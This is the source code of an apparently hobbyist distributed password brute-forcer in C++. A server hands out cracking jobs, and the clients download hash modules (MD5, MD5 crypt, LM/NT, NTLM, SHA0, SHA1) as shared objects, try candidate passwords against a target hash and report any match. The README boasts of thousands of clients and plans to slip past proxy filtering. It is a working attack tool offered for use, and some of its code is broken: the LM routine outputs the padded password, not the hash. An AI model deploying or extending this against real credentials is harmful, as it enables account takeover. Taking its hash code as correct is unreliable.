	cerr << "- CONNECTING TO " << host << ":" << port << endl;

	this->RETRIEVE_MODULE();
	this->RETRIEVE_PARAMS();

	while (this->is_running==true){
		this->RETRIEVE_JOBS(); // recuperation des jobs (nb job=10)
		this->COMPUTE_JOBS(); // lance le calcul
		this->REPORT_RESULTS(); // lance le report des resultats
	}

}

Client::~Client(void){
	this->socket_client->close();
	delete this;
}


void Client::RETRIEVE_MODULE(void){
	this->CONNECT();
	this->MODULE_WAIT();
}


void Client::MODULE_WAIT(){
	cerr << "- MODULE_WAIT()" << endl;
	socket_client->send(static_cast<string>("REQUEST MODULE ")+OS_TYPE);
	ofstream vFile (MODULE_NAME, ios::out|ios::binary|ios::ate); // ouverture du fichier en mode binary
	if (vFile.is_open()) { // verification du flux avant utilisation
		char c;
		int i=0;
		while (socket_client->recv(c)>0){
			vFile << c;
			i++;
		}
		vFile.close(); // on ferme le flux
		cerr << "\t" << i << " bytes recieved" << endl;
	} else {
		cerr << "ERROR : unable to open file : " << MODULE_NAME << endl;
	}
}



void Client::RETRIEVE_PARAMS(void){

	this->CONNECT();
	this->PARAM_WAIT();
	this->PARAM_ACK();
	sleep(1);
	this->QUIT();
}

void Client::PARAM_WAIT(){
	cerr << "- PARAM_WAIT()" << endl;
	socket_client->send(static_cast<string>("REQUEST PARAMS"));
	while (this->rx.substr(0,5)!="PARAM") {
		this->rx=socket_client->recv(this->rx);
		sleep(1);
	}
}

void Client::PARAM_ACK(){
	cerr << "- PARAM_ACK()" <<  endl;
	char** param=explode((char*)this->rx.substr(5).c_str(),'|');

	this->parameters->min_size=atoi(param[0]);
	this->parameters->max_size=atoi(param[1]);
	this->parameters->chars_allowed=param[2];
	this->parameters->chars_allowed_length=this->parameters->chars_allowed.length();
	this->parameters->hash_to_hack=param[4];
	this->salt=param[3];

	cerr << "\tmin_size                =  " << this->parameters->min_size << endl;
	cerr << "\tmax_size                =  " << this->parameters->max_size << endl;
	cerr << "\tchars_allowed           =  " << this->parameters->chars_allowed << endl;
	cerr << "\thash_to_hack            =  " << this->parameters->hash_to_hack << endl;
	cerr << "\tsalt                    =  " << this->salt << endl;
	cerr << "\tmodule_name             =  " << MODULE_NAME << endl;

	socket_client->send(static_cast<string>("PARAM_ACK"));
}




void Client::RETRIEVE_JOBS(void){
	this->CONNECT();
	this->JOBS_WAIT();
	this->JOBS_ACK();
	sleep(1);
	this->QUIT();
}

void Client::JOBS_WAIT(){
	cerr << "- JOBS_WAIT()" << endl;
	socket_client->send(static_cast<string>("REQUEST JOBS"));
	this->rx=socket_client->recv(this->rx);
	while (this->rx.substr(0,4)!="JOBS") {
		this->rx=socket_client->recv(this->rx);
		sleep(1);
	}
}



void Client::JOBS_ACK(){
	cerr << "- JOBS_ACK()" << endl;
	if (this->rx.length()>5){
		char** jobs=explode((char*)this->rx.substr(5).c_str(),'|');
		for (int idx=0;jobs[idx]!=NULL;idx++){
			string tmp=jobs[idx];
			BruteForcePass* bfp=new BruteForcePass(parameters);
			bfp->job=new Job(tmp);
			bfp->loadSharedModule();
			bfp->build_hash->salt=this->salt;
			tab_bruteforce.push_front(bfp);
		}
	}
	socket_client->send(static_cast<string>("JOBS_ACK"));
	this->tx="";
	this->rx="";
}



void Client::COMPUTE_JOBS(void){
	list<BruteForcePass*>::reverse_iterator j = tab_bruteforce.rbegin();
	while(j != tab_bruteforce.rend()){
		BruteForcePass* bfp=*j;
		bfp->initThread();
		cerr << "- COMPUTE_JOBS(" << bfp->job->begin << ")" << endl;
		j++;
	}

	j = tab_bruteforce.rbegin();
	while(j != tab_bruteforce.rend()){
		BruteForcePass* bfp=*j;
		bfp->waitThread();
		bfp->job->done=true;
		if (bfp->found==true) {
			bfp->job->found=bfp->result;
			this->is_running=false;
			break;
		} else {
			bfp->job->found=" ";
		}
		j++;
	}
}



void Client::REPORT_RESULTS(void){
	cerr << "- REPORT_RESULTS()" << endl;
	socket_client=new ClientSocket (host, port );
	this->CONNECT();
	this->tx="REPORT RESULTS|";
	list<BruteForcePass*>::reverse_iterator j = tab_bruteforce.rbegin();
	while(j != tab_bruteforce.rend()){
		BruteForcePass* bfp=*j;
		if (bfp->job->done==true){
			this->tx+=bfp->job->begin+"|"+bfp->job->found+"|";
		}
		
		j++;
	}
	
	socket_client->send(this->tx);
	sleep(1);
	this->tab_bruteforce.clear();
	this->QUIT();
	
}


void Client::CONNECT(){
	cerr << "- CONNECT()" << endl;
	try {
		socket_client=new ClientSocket (host, port );
		socket_client->send(static_cast<string>("CONNECT"));
		this->rx=socket_client->recv(this->rx); // attente de CONNECT_ACK
	} catch (SocketException &e) {
		cerr << "ERROR(" << errno << ") in socket : " << strerror(errno) << endl;
		exit(errno);
	}

	this->tx="";
	this->rx="";
}


void Client::QUIT(){
	cerr << "- QUIT()" << endl << endl;
    	socket_client->send(static_cast<string>("QUIT"));
	this->rx=socket_client->recv(this->rx);
	this->socket_client->close();
}




char** Client::explode(char* str,char separator){
	int  nbstr = 1;
	int  from = 0;
	char** res = (char **) malloc(sizeof (char *));
	int len = strlen(str);
	for (int i = 0; i <= len; ++i){
		if ((i == len) || (str[i] == separator)){
			res = (char **) realloc(res, ++nbstr * sizeof (char *));
			res[nbstr - 2] = (char *) malloc((i - from + 1) * sizeof (char));
			for (int j = 0; j < (i - from); ++j)
				res[nbstr - 2][j] = str[j + from];
			res[nbstr - 2][i - from] = '\0';
			from = i + 1;
			++i;
		}
	}
	res[nbstr - 1] =  NULL;
	return res;
}



void Client::GET(string str){
	try {
		socket_client=new ClientSocket (host, port );
	} catch (SocketException &e) {
		cerr << "ERROR(" << errno << ") in socket : " << strerror(errno) << endl;
		exit(errno);
	}
	ostringstream request;
	request << "GET " << str << " HTTP/1.1" << endl;
	request << "Host: " << host << ":" << port << endl;
	request << "User-Agent: Mozilla/5.0" << endl;
	request << "Accept: text/html,application/xhtml+xml,application/xml" << endl << endl;
	cerr << request.str() << endl;
	socket_client->send(request.str());
	this->rx=socket_client->recv(this->rx);
	this->socket_client->close();
}


void Client::POST(string str){
	try {
		socket_client=new ClientSocket (host, port );
	} catch (SocketException &e) {
		cerr << "ERROR(" << errno << ") in socket : " << strerror(errno) << endl;
		exit(errno);
	}
	ostringstream request;
	request << "POST " << str << " HTTP/1.1" << endl;
	request << "Host: " << host << ":" << port << endl;
	request << "User-Agent: Mozilla/5.0" << endl;
	request << "Accept: text/html,application/xhtml+xml,application/xml" << endl << endl;
	cerr << request.str() << endl;
	socket_client->send(request.str());
	this->rx=socket_client->recv(this->rx);
	this->socket_client->close();
}






int main(int argc, char* argv[]){
	if (argc<3) {
	    cout << "Usage : " << argv[0] << " [HOST] [PORT]" << endl;
	    exit(1);
	}
	Client* client=new Client(argv[1],atoi(argv[2]));

}
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#ifndef Client_class
#define Client_class

#include <iostream>
#include <sstream>
#include <fstream>
#include <string>
#include <csignal>
#include <list>
#include <cerrno>



#ifdef WIN32
	#include "../WinClient/ClientSocket.h"
	#define 	OS_TYPE		"WIN32"
#else
	#include "ClientSocket.h"
	#define 	OS_TYPE		"UNIX"
#endif

#include "../lib/SocketException.h"
#include "../lib/Job.h"
#include "BruteForcePass.h"



class Client {

	public:
		list<BruteForcePass*> tab_bruteforce;
		BruteForcePassParam* parameters;
		ClientSocket* socket_client;


		bool is_running;
		int port;
		string host;
		string rx;
		string tx;
		string salt;


		Client(string,int);
		~Client(void);

	private:
		char** explode (char*,char);
		static void SIGINT_HANDLER(int);


		void GET(string str);
		void POST(string str);



		void CONNECT(void);
		void QUIT(void);


		void RETRIEVE_PARAMS(void);
		void PARAM_WAIT(void);
		void PARAM_ACK(void);


		void RETRIEVE_MODULE(void);
		void MODULE_WAIT(void);

		void RETRIEVE_JOBS(void);
		void JOBS_WAIT(void);
		void JOBS_ACK(void);


		void COMPUTE_JOBS(void);	
		void REPORT_RESULTS(void);
};

#endif
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#include "ClientSocket.h"


ClientSocket::ClientSocket ( std::string host, int port ){
	if ( ! Socket::create() ){
		throw SocketException ( "Could not create client socket." );
	}

	if ( ! Socket::connect ( host, port ) )	{
		throw SocketException ( "Could not bind to port." );
	}
}


void ClientSocket::send(std::string s){
	if ( ! Socket::send ( s ) ){
		throw SocketException ( "Could not write to socket." );
	}
}

std::string ClientSocket::recv(std::string s){
	if ( ! Socket::recv ( s ) ){
		throw SocketException ( "Could not read to socket." );
	}
	return s;
}



bool ClientSocket::send(char c[1]) const {
	if ( ! Socket::send ( c ) ){
		throw SocketException ( "Could not write to socket." );
		return false;
	}
	return true;
}

int ClientSocket::recv(char &c) const {
	int status=Socket::recv ( c );
	if ( status < 0 ){
		throw SocketException ( "Could not read to socket." );
		return status;
	}
	return status;
}





const ClientSocket& ClientSocket::operator << ( const std::string& s ) const{
	if ( ! Socket::send ( s ) ){
		throw SocketException ( "Could not write to socket." );
	}
	return *this;
}


const ClientSocket& ClientSocket::operator >> ( std::string& s ) const{
	if ( ! Socket::recv ( s ) ){
		throw SocketException ( "Could not read from socket." );
	}
	return *this;
}


/*
void ClientSocket::set_non_blocking(bool b){
	Socket::set_non_blocking(b);
}*/


void ClientSocket::close (){
	if ( ! Socket::shutdown () ){
		throw SocketException ( "Could not shutdown socket." );
	}
}
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// Definition of the ClientSocket class

#ifndef ClientSocket_class
#define ClientSocket_class

#include "../lib/Socket.h"
#include "../lib/SocketException.h"

class ClientSocket : public Socket {
	public:
	
		ClientSocket ( std::string host, int port );
		virtual ~ClientSocket(){};
		
		const ClientSocket& operator << ( const std::string& ) const;
		const ClientSocket& operator >> ( std::string& ) const;
		void send(std::string s);
		std::string recv(std::string s);
		bool send ( char[1] ) const;
		int recv ( char &c ) const;


// 		void set_non_blocking(bool b);

		void close ();

};


#endif
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#ifndef Hash_class
#define Hash_class

#include <string.h>
#include <iostream>
#include <iomanip>
#include <sstream>

#ifdef WIN32
	#include "windows.h"
	#define EXPORT extern "C" __declspec( dllexport )
#else
	#define DLLIMPORT
	#define EXPORT extern "C"
#endif


using namespace std;

class Hash {

	public :
		string hash;
		string salt;
		string password;
		Hash() : hash("defaultHash") {}
		virtual ~Hash() {}
		inline virtual void Compute(string) = 0;
};


#ifdef WIN32
	#ifdef DLL
		BOOL APIENTRY DllMain (HINSTANCE hInst,DWORD reason,LPVOID reserved) {
			switch (reason) {
				case DLL_PROCESS_ATTACH:break;
				case DLL_PROCESS_DETACH:break;
				case DLL_THREAD_ATTACH:break;
				case DLL_THREAD_DETACH:break;
			}
			return TRUE;
		}
	#endif
#endif


typedef Hash* create_t();
typedef void destroy_t(Hash*);


#endif
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#ifndef HashMD5_class
#define HashMD5_class

#ifdef WIN32
       #define DLL true
#endif

#include <openssl/evp.h>
#include "Hash.h"


using namespace std;

class HashMD5 : public Hash {


	private:
		EVP_MD_CTX mdctx;
		const EVP_MD *md;
		unsigned char md_value[EVP_MAX_MD_SIZE];
		unsigned int md_len, i;
		char* vTmp;

	public:
		HashMD5();
		~HashMD5();
		virtual void Compute(string);
};


HashMD5::HashMD5(){
	salt="";
	vTmp=new char[2];
	OpenSSL_add_all_digests();
	md = EVP_get_digestbyname("MD5"); 
}


HashMD5::~HashMD5(){
	delete vTmp;
	delete this;
}


void HashMD5::Compute(string pass){
	this->password=pass;
	EVP_MD_CTX_init(&mdctx);
	EVP_DigestInit_ex(&mdctx, md, NULL);
	EVP_DigestUpdate(&mdctx, pass.c_str(), pass.length());
	EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
	EVP_MD_CTX_cleanup(&mdctx);
	this->hash="";
	for(i = 0; i < md_len; i++) {
		sprintf(vTmp,"%02x",md_value[i]);
		this->hash+=vTmp;
	}
}

	

// the class factories
EXPORT Hash* create() {
    	return new HashMD5;
}

EXPORT void destroy(Hash* p) {
	delete p;
}



#endif
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#ifndef HashMD5Crypt_class
#define HashMD5Crypt_class

#include "Hash.h"

using namespace std;

char* crypt(const char *key, const char *salt);

class HashMD5Crypt : public Hash {

	public :
		HashMD5Crypt();
		HashMD5Crypt(string,string);
		~HashMD5Crypt();
		virtual void Compute(string);

};

HashMD5Crypt::HashMD5Crypt(){
}


HashMD5Crypt::HashMD5Crypt(string p, string s){
	this->password=p;
	this->salt=s;
	this->hash="";
}

HashMD5Crypt::~HashMD5Crypt(){
}


void HashMD5Crypt::Compute(string pass){
	this->hash=crypt(pass.c_str(),this->salt.c_str());
}



// the class factories
extern "C" Hash* create() {
    	return new HashMD5Crypt;
}

extern "C" void destroy(Hash* p) {
	delete p;
}


#endif
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#ifndef HashNT_class
#define HashNT_class

#ifdef WIN32
       #define DLL true
#endif

#include "Hash.h"
#include <openssl/des.h>

using namespace std;



class HashNT : public Hash {
	private :
		string key;
		string padding;
	
	public :
		HashNT();
		HashNT(string,string);
		~HashNT();
		virtual void Compute(string);
		void setup_des_key(unsigned char* key_56, des_key_schedule & ks) const;
};

HashNT::HashNT(){

}


HashNT::HashNT(string p, string s){
	this->password=p;
	this->salt=s;
	this->hash="";
}

HashNT::~HashNT(){
}


void HashNT::Compute(string pass){
	unsigned char  lm_pw[14];
	int   len = pass.length();
	if (len > 14)  len = 14;
	for (int idx=0; idx < len; idx++) lm_pw[idx] = toupper(pass[idx]);
	for (int idx=len; idx < 14; idx++) lm_pw[idx] = 0;
	unsigned char magic[] = { 0x4B, 0x47, 0x53, 0x21, 0x40, 0x23, 0x24, 0x25 };
	unsigned char lm_hpw[21];

	des_key_schedule ks;
	setup_des_key(lm_pw, ks);
	des_ecb_encrypt((des_cblock*)magic, (des_cblock*)lm_hpw, ks, DES_ENCRYPT);
	setup_des_key(&lm_pw[7], ks);
	des_ecb_encrypt((des_cblock*)magic, (des_cblock*)&lm_hpw[8], ks, DES_ENCRYPT);
	memset(&lm_hpw[16], 0, 5);
	ostringstream oss;
	for(int i=0;i<14;i++) oss << setfill ('0') << std::setw(2) << hex << static_cast<int>(lm_pw[i]);
	this->hash=oss.str();
}



void HashNT::setup_des_key(unsigned char* key_56, des_key_schedule & ks) const {
    des_cblock key;

    key[0] = key_56[0];
    key[1] = ((key_56[0] << 7) & 0xFF) | (key_56[1] >> 1);
    key[2] = ((key_56[1] << 6) & 0xFF) | (key_56[2] >> 2);
    key[3] = ((key_56[2] << 5) & 0xFF) | (key_56[3] >> 3);
    key[4] = ((key_56[3] << 4) & 0xFF) | (key_56[4] >> 4);
    key[5] = ((key_56[4] << 3) & 0xFF) | (key_56[5] >> 5);
    key[6] = ((key_56[5] << 2) & 0xFF) | (key_56[6] >> 6);
    key[7] =  (key_56[6] << 1) & 0xFF;

    des_set_odd_parity(&key);
    des_set_key(&key, ks);
}



// the class factories
EXPORT Hash* create() {
    	return new HashNT;
}

EXPORT void destroy(Hash* p) {
	delete p;
}


#endif
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#ifndef HashNTLM_class
#define HashNTLM_class

#include "Hash.h"
#include <openssl/md4.h>

using namespace std;

class HashNTLM : public Hash {
	private :
		string key;
		string padding;
		MD4_CTX md4Context;

	public :
		HashNTLM();
		HashNTLM(string,string);
		~HashNTLM();
		virtual void Compute(string);
};

HashNTLM::HashNTLM(){
}


HashNTLM::HashNTLM(string p, string s){
	this->password=p;
	this->salt=s;
	this->hash="";
}

HashNTLM::~HashNTLM(){
}


void HashNTLM::Compute(string pass){
	int   len = pass.length();
	char  nt_pw[2*len];
	bzero(nt_pw, sizeof(nt_pw));
	for (int idx=0; idx < len; idx++) nt_pw[2*idx]   = pass[idx];

	unsigned char nt_hpw[21];
	MD4_Init(&md4Context);
	MD4_Update(&md4Context, nt_pw, 2*len);
	MD4_Final(nt_hpw, &md4Context);
	memset(&nt_hpw[16], 0, 5);
	ostringstream oss;
	for(int i=0;i<=20;i++) oss << setfill ('0') << std::setw(2) << hex << static_cast<int>(nt_hpw[i]);
	this->hash=oss.str();
}


// the class factories
EXPORT Hash* create() {
    	return new HashNTLM;
}

EXPORT void destroy(Hash* p) {
	delete p;
}


#endif
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#ifndef HashSHA0_class
#define HashSHA0_class

#include "Hash.h"
#include <openssl/sha.h>

using namespace std;


class HashSHA0 : public Hash {
	private :
		string key;
		SHA_CTX shaContext;
	public :
		HashSHA0();
		HashSHA0(string,string);
		~HashSHA0();
		virtual void Compute(string);
};

HashSHA0::HashSHA0(){
}


HashSHA0::HashSHA0(string p, string s){
	this->password=p;
	this->salt=s;
	this->hash="";
}

HashSHA0::~HashSHA0(){
}


void HashSHA0::Compute(string pass){
	unsigned char sha0_pw[21];
	SHA_Init(&shaContext);
	SHA_Update(&shaContext, (const unsigned char *)pass.c_str(), pass.length());
	SHA_Final((unsigned char *)sha0_pw, &shaContext);
	ostringstream oss;
	for(int i=0;i<=20;i++) oss << setfill ('0') << std::setw(2) << hex << static_cast<int>(sha0_pw[i]);
	this->hash=oss.str();
}


// the class factories
EXPORT Hash* create() {
    	return new HashSHA0;
}

EXPORT void destroy(Hash* p) {
	delete p;
}


#endif
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#ifndef HashSHA1_class
#define HashSHA1_class

#ifdef WIN32
       #define DLL true
#endif

#include "Hash.h"
#include <openssl/sha.h>

using namespace std;


class HashSHA1 : public Hash {
	private :
		string key;
		SHA_CTX sha1Context;
	public :
		HashSHA1();
		HashSHA1(string,string);
		~HashSHA1();
		virtual void Compute(string);
};

HashSHA1::HashSHA1(){

}


HashSHA1::HashSHA1(string p, string s){
	this->password=p;
	this->salt=s;
	this->hash="";
}

HashSHA1::~HashSHA1(){
}


void HashSHA1::Compute(string pass){
	unsigned char sha0_pw[20];
	SHA1_Init(&sha1Context);
	SHA1_Update(&sha1Context, (const unsigned char *)pass.c_str(), pass.length());
	SHA1_Final((unsigned char *)sha0_pw, &sha1Context);
	ostringstream oss;
	for(int i=0;i<20;i++) oss << setfill ('0') << std::setw(2) << hex << static_cast<int>(sha0_pw[i]);
	this->hash=oss.str();
}


// the class factories
EXPORT Hash* create() {
    	return new HashSHA1;
}

EXPORT void destroy(Hash* p) {
	delete p;
}


#endif
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#include <pthread.h>
#include <iostream>
#include <unistd.h>

class Thread {
	private:
		pthread_t thread;
	public:
		Thread(){
		}
	
		~Thread(){
			this->exitThread();
			delete this;
		}

		pthread_t* initThread(){
			if(!pthread_create(&(this->thread),NULL,Thread::startThread,static_cast<void *>(this))){
// 				std::cerr << "- THREAD CREATION" << std::endl;
				return &(this->thread);
			} else {
// 				std::cerr << "- ERROR in pthread_create()" << std::endl;
				exit(1);
			}
		}
	
		static void* startThread(void* thread) {
			static_cast<Thread *>(thread)->createThread();
			pthread_exit(0);
		}
	
		virtual void createThread() = 0;


		pthread_t* getThread(){
			return &(this->thread);
		}

		void cancelThread(){
			pthread_cancel(this->thread);
		}

		void waitThread(){
			pthread_join(this->thread,NULL);
		}

		void exitThread(){
			pthread_exit(0);
		}

};
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DistributedPasswordBruteForcer-x86/lib/Job.cpp

#include "Job.h"


Job::Job(void){
	this->done=false;
	this->allocated=false;
	this->begin="";
	this->found="";
}

Job::Job(string b){
	this->done=false;
	this->allocated=false;
	this->begin=b;
	this->found="";
}


Job::~Job(void){
}
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DistributedPasswordBruteForcer-x86/lib/Job.h

#ifndef Job_class
#define Job_class

#include <string>

using namespace std;



class Job {
	public:
		bool done;
		bool allocated;
		string begin;
		string found;
		time_t start;


		Job(void);
		Job(string);
		~Job(void);

};

#endif
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#include "Socket.h"


Socket::Socket() : m_sock ( -1 ) {
	memset ( &m_addr,0,sizeof ( m_addr ) );
}

Socket::~Socket(){
	if ( is_valid() ) ::close ( m_sock );
}

bool Socket::create(){
	m_sock = socket ( AF_INET,SOCK_STREAM,	0 );
	
	if ( ! is_valid() ) return false;

	int on = 1;
	if ( setsockopt ( m_sock, SOL_SOCKET, SO_REUSEADDR, ( const char* ) &on, sizeof( on ) ) == -1 ) return false;
	return true;
}



bool Socket::bind ( const int port ){

	if ( ! is_valid() ) return false;

	m_addr.sin_family = AF_INET;
	m_addr.sin_addr.s_addr = INADDR_ANY;
	m_addr.sin_port = htons ( port );
	
	int bind_return = ::bind ( m_sock,( struct sockaddr * ) &m_addr,sizeof ( m_addr ) );
	
	if ( bind_return == -1 ) return false;

	return true;
}


bool Socket::listen() const {
	if ( ! is_valid() ) return false;
	int listen_return = ::listen ( m_sock, MAXCONNECTIONS );
	if ( listen_return == -1 ) return false;
	else return true;
}


bool Socket::accept ( Socket& new_socket ) {
	int addr_length = sizeof ( m_addr );
	new_socket.m_sock = ::accept ( m_sock, ( sockaddr * ) &m_addr, ( socklen_t * )
	&addr_length );
	std::ostringstream oss;
	oss << ntohs(m_addr.sin_port);
	this->port=oss.str();
	this->host=inet_ntoa(m_addr.sin_addr);
	if ( new_socket.m_sock <= 0 ) return false;
	else return true;
}


bool Socket::send ( const std::string s ) const {
	int status = ::send ( m_sock, s.c_str(), s.size(), MSG_NOSIGNAL );
	if ( status == -1 ) return false;
	else return true;
}

int Socket::recv ( std::string& s ) const {
	char buf [ MAXRECV + 1 ];
	s = "";
	memset ( buf, 0, MAXRECV + 1 );
	int status = ::recv ( m_sock, buf, MAXRECV, 0 );
	
	if ( status == -1 ){
		std::cout << "status == -1   errno == " << errno << "  in Socket::recv\n";
		return 0;
	} else if ( status == 0 ){
		return 0;
	} else {
		s = buf;
		return status;
	}
}




bool Socket::send ( char c[1] ) const {
	int status = ::send ( m_sock, c, 1, 0 );
// 	std::cout << "send=" << c[0] << std::endl;
	if ( status == -1 ) return false;
	else return true;
}


int Socket::recv ( char &c ) const{
	char buf [ 1 ];
	memset ( buf, 0, 1 );
	int status = ::recv ( m_sock, buf, 1, 0 );
	if ( status == -1 ){
		std::cout << "status == -1   errno == " << errno << "  in Socket::recv\n";
		return 0;
	} else if ( status == 0 ){
		return 0;
	} else {
		c = buf[0];
		return status;
	}
}



bool Socket::connect ( const std::string host, const int port ){
	if ( ! is_valid() ) return false;
	m_addr.sin_family = AF_INET;
	m_addr.sin_port = htons ( port );
	int status = inet_pton ( AF_INET, host.c_str(), &m_addr.sin_addr );
	if ( errno == EAFNOSUPPORT ) return false;
	
	status = ::connect ( m_sock, ( sockaddr * ) &m_addr, sizeof ( m_addr ) );
	if ( status == 0 ) return true;
	else return false;
}



bool Socket::shutdown (){
	if ( is_valid() ) ::close (m_sock);
	return true;
}


// void Socket::set_non_blocking ( const bool b ){
// 
// 	int opts;
// 	opts = fcntl ( m_sock,F_GETFL );
// 	
// 	if ( opts < 0 ) return;
// 	if ( b ) opts = ( opts | O_NONBLOCK );
// 	else opts = ( opts & ~O_NONBLOCK );
// 	
// 	fcntl ( m_sock,	F_SETFL,opts );
// }
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DistributedPasswordBruteForcer-x86/lib/Socket.h

#ifndef Socket_class
#define Socket_class

#include <sys/fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <cerrno>
#include <sstream>
#include <iostream>

#ifdef WIN32
	#define __USE_W32_SOCKETS 1
	#include <windows.h>
	#include <ws2tcpip.h>

	#define MSG_NOSIGNAL		0
	#define EAFNOSUPPORT            WSAEAFNOSUPPORT
#else
	#include <netdb.h>
	#include <sys/socket.h>
	#include <sys/param.h>
	#include <netinet/in.h>
	#include <arpa/inet.h>
	#include <netdb.h>
#endif


const int MAXHOSTNAME = 200;
const int MAXCONNECTIONS = 5;
const int MAXRECV = 2048;
// namespace DistributedPasswordGen {

	class Socket{
		public:
			Socket();
			virtual ~Socket();
			
			// Server initialization
			bool create();
			bool bind ( const int port );
			bool listen() const;
			bool accept ( Socket& );
			bool shutdown ();

			// Client initialization
			bool connect ( const std::string host, const int port );
			
			// Data Transimission
			bool send ( const std::string ) const;
			int recv ( std::string& ) const;


			bool send ( char[1] ) const;
			int recv ( char &c ) const;

// 			void set_non_blocking ( const bool );
			
			bool is_valid() const { return m_sock != -1; }
		
		public:
			std::string port;
			std::string host;
			int m_sock;
			sockaddr_in m_addr;
	
	
	};
// }

#endif
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#ifndef SocketException_class
#define SocketException_class

#include <string>

class SocketException
{
	public:
		SocketException ( std::string s ) : m_s ( s ) {};
		~SocketException (){};
		std::string description() { return m_s; }
	
	private:
		std::string m_s;

};

#endif
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DistributedPasswordBruteForcer-x86/lib/Thread.cpp

#include <pthread.h>
#include <iostream>
#include <unistd.h>
#include <stdlib.h>

class Thread {
	private:
		pthread_t thread;
	public:
		Thread(){
		}
	
		~Thread(){
			this->exitThread();
			delete this;
		}

		pthread_t* initThread(){
			if(!pthread_create(&(this->thread),NULL,Thread::startThread,static_cast<void *>(this))){
// 				std::cerr << "- THREAD CREATION" << std::endl;
				return &(this->thread);
			} else {
// 				std::cerr << "- ERROR in pthread_create()" << std::endl;
				exit(1);
			}
		}
	
		static void* startThread(void* thread) {
			static_cast<Thread *>(thread)->createThread();
			pthread_exit(0);
		}
	
		virtual void createThread() = 0;


		pthread_t* getThread(){
			return &(this->thread);
		}

		void cancelThread(){
			pthread_cancel(this->thread);
		}

		void waitThread(){
			pthread_join(this->thread,NULL);
		}

		void exitThread(){
			pthread_exit(0);
		}

};
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DistributedPasswordBruteForcer-x86/Makefile

CXX=g++
CXXFLAGS=-fPIC


server_objects = server/ServerSocket.o lib/Socket.o server/ClientConnection.o lib/Job.o server/ConfigIniParser.o server/Server.cpp

new_client_objects = client/ClientSocket.o lib/Socket.o  lib/Job.o lib/Thread.o client/BruteForcePass.o client/BruteForcePassParam.o client/Client.cpp

all : server client HashMD5 HashMD5Crypt HashNT HashNTLM HashSHA1 HashSHA0

server: $(server_objects)
	$(CXX) -o Server.exe -ldb -lpthread $(server_objects)


client: $(new_client_objects)
	$(CXX) -o Client.exe -ldl -lcrypt -lssl -lpthread $(new_client_objects)


HashMD5Crypt: client/HashMD5Crypt.cpp client/Hash.h
	$(CXX) $(CXXFLAGS) -shared -Wl,-soname,HashMD5Crypt.so -o HashMD5Crypt.so client/HashMD5Crypt.cpp

HashMD5: client/HashMD5.cpp client/Hash.h
	$(CXX) $(CXXFLAGS) -shared -Wl,-soname,HashMD5.so -o HashMD5.so client/HashMD5.cpp

HashNT: client/HashNT.cpp client/Hash.h
	$(CXX) $(CXXFLAGS) -shared -Wl,-soname,HashNT.so -o HashNT.so client/HashNT.cpp

HashNTLM: client/HashNTLM.cpp client/Hash.h
	$(CXX) $(CXXFLAGS) -shared -Wl,-soname,HashNTLM.so -o HashNTLM.so client/HashNTLM.cpp

HashSHA0: client/HashSHA0.cpp client/Hash.h
	$(CXX) $(CXXFLAGS) -shared -Wl,-soname,HashSHA0.so -o HashSHA0.so client/HashSHA0.cpp

HashSHA1: client/HashSHA1.cpp client/Hash.h
	$(CXX) $(CXXFLAGS) -shared -Wl,-soname,HashSHA1.so -o HashSHA1.so client/HashSHA1.cpp


ClientConnection: server/ClientConnection.cpp
ConfigIniParser: server/ConfigIniParser.cpp
ServerSocket: server/ServerSocket.cpp
Server: server/Server.cpp


BruteForcePass: client/BruteForcePass.cpp
BruteForcePassParam: client/BruteForcePassParam.cpp
ClientSocket: client/ClientSocket.cpp

Job: lib/job.cpp
Thread: lib/Thread.cpp
Socket: lib/Socket.cpp


clean_server:
	rm -f server/*.o Server.exe  lib/*.o


clean_client:
	rm -f client/*.o Client.exe lib/*.o

clean :
	rm -f server/*.o Server.exe  client/*.o Client.exe lib/*.o *~ */*~ *.ini *.db *.so
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DistributedPasswordBruteForcer-x86/README.html


	
	
	DISTRIBUTED PASSWORD BRUTE FORCER V0.0001 alpha



	
	
	Features :



		
						Berkeley DataBase to store / retrieve result



						Jobs are timestamped for timeout



						Client multi threated



						Client for Microsoft Windows (tested 2000, XP) & UNIX platform



						Hash can be salted or not



						up to thousands clients



						clients download a shared object used to compute the hash



						Supported hash type :



				
								NT



								NTLM



								SHA0



								SHA1



								MD5



								UNIX MD5 crypt()



				



			
		




	Compilation :



		- Server and client has been compiled on UNIX with GCC and the appropriate libs (openssl, lpthread) : see makefile for information

		- WIN32 client has been compiled with dev-CPP (mingw) and the appropriate libs (openssl for WIN32, WIN32 pthread) : see makefile for information

		


	Coming soon (or not) :



		
						a real server and client UI



						HTTP communications to avoid proxy's filtering



						new hash : WPA, PDF, zip, doc / xls / ppt, odt / ods / odp...



						using the GPU with CUDA (NVIDIA-s GPU)



		




	I doesn't have the time to write a man page for the moment. Any bugs, inaccuracies, blame me.
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DistributedPasswordBruteForcer-x86/server/ClientConnection.cpp

#include "ClientConnection.h"
#include "Server.h"



// GET RESPONSE
//
// HTTP/1.1 200 OK
// Date: Tue, 14 Jul 2009 21:47:40 GMT
// Server: Apache
// Last-Modified: Tue, 14 Jul 2009 19:56:46 GMT
// Accept-Ranges: bytes
// Content-Length: 90369
// Connection: close
// Content-Type: text/html; charset=iso-8859-1





ClientConnection::ClientConnection(Server* s){
	this->server=s;
	this->tx="";
	this->rx="";
	this->password_found="";
	this->is_running=false;
}

ClientConnection::~ClientConnection(){
	this->socket_client.close();
	delete this;
}

void ClientConnection::createThread() {
	this->is_running=true;
	pthread_detach(pthread_self());
	try {
		socket_client >> this->rx; // WAIT CONNECT
		if (this->rx=="CONNECT" && this->server->nb_of_job_done<this->server->tab_job.size()) {
			this->CONNECT_ACK();
			sleep(1);
	
			socket_client >> this->rx; // WAIT REQUEST or REPORT
			if (this->rx.substr(0,7)=="REQUEST") {
	
				if (this->rx.substr(8,6)=="MODULE") {
	
					this->SEND_MODULE();

				} else if (this->rx.substr(8,6)=="PARAMS") {
	
					this->SEND_PARAM();
					this->WAIT_PARAM_ACK();
					this->QUIT();

				} else if (this->rx.substr(8,4)=="JOBS") {
	
					this->SEND_JOBS();
					this->WAIT_JOBS_ACK();
					this->QUIT();
				}
			} else if (this->rx.substr(0,6)=="REPORT"){
	
				if (this->rx.substr(7,7)=="RESULTS") {
					this->COMPUTE_RESULTS();
					this->QUIT();
				}
			}
		}
		this->is_running=false;
		this->socket_client.close();
		if (this->server->password!=""){
			this->server->is_running=false;
			this->server->nb_of_job_attributed=0;
			int pid=getpid();
			kill(pid,SIGINT);
		}
